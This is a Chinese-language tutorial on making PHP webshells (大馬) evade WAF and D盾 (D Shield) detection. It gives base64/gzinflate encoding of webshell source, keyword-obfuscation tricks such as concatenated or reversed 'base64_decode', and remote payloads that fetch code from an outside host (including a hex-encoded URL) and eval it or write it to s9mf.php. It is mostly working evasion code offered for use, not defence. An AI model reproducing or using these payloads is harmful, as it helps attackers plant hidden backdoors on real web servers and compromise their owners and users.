Part 1 前言
Part 2 免殺
執行代碼
eval 或 preg_replace的/e修飾符來執行大馬代碼。
$a = 'phpinfo();'; eval($a); //eval執行php代碼
編碼
如果直接去執行代碼,是過不了waf的,我們一般需要將大馬源碼進行編碼。
eval_gzinflate_base64類型加密與解密:
http://www.zhuisu.net/tool/phpencode.php
https://www.mobilefish.com/services/eval_gzinflate_base64/eval_gzinflate_base64.php
自己寫腳本加密:
$code= file_get_contents('D:\phpStudy\WWW\Test\Zlib\help.txt'); //大馬源碼路徑 $encode = base64_encode(gzdeflate($code)); //加密函數自己修改就行 echo $encode; //輸出加密后代碼
解碼
通過解碼執行我們的代碼。
<?php //加密的代碼 eval(gzinflate(base64_decode('S03OyFdQ8shUKLbMTVOyBgA='))); ?>
關鍵字免殺
// 類型這樣的關鍵字如果沒有混淆拆分是過不了waf的 eval(gzinflate(base64_decode // 我們需要做的就是關鍵字免殺
免殺 payload
<?php $l='baSe6'; $o='4_dE'; $v='cO'; $e='DE'; $love=$l.$o.$v.$e; $c = "love"; $a=$$c('源碼base64加密'); eval($a); ?> <?php $a = strrev('EdOcEd_46eSaB'); $b= $a('源碼base64加密'); eval($b); ?>
D盾
查殺
免殺遠程執行 payload
<?php $a=/**/fopen('http://www.xxx.com/s9mf.txt','r');$b='';while(false!=($c=fread($a,8080))){$b.=$c;}print/**/(/**/eval(/**/($c=$b)/**/)/**/);fclose($a);?> <?php $s9 = "687474703A2F2F7033733232373538752E626B742E636C6F7564646E2E636F6D2F73396D662E747874"; $m="s9"; //遠程URL進行hex編碼 $f = file_get_contents(PACK('H*',$$m)); eval($f);
?>
免殺
遠程下載 payload
<?php $a = 'http://www.xx.com/s9mf.txt'; $b = 'file'.'_g'.'et_'.'contents'; $b = $b($a); $c = strrev('stnetnoc_tup_elif'); $c('s9mf.php', $b); ?>
免殺,D盾報了1級,可以完全免殺的,但是覺得沒必要。
Part 3 總結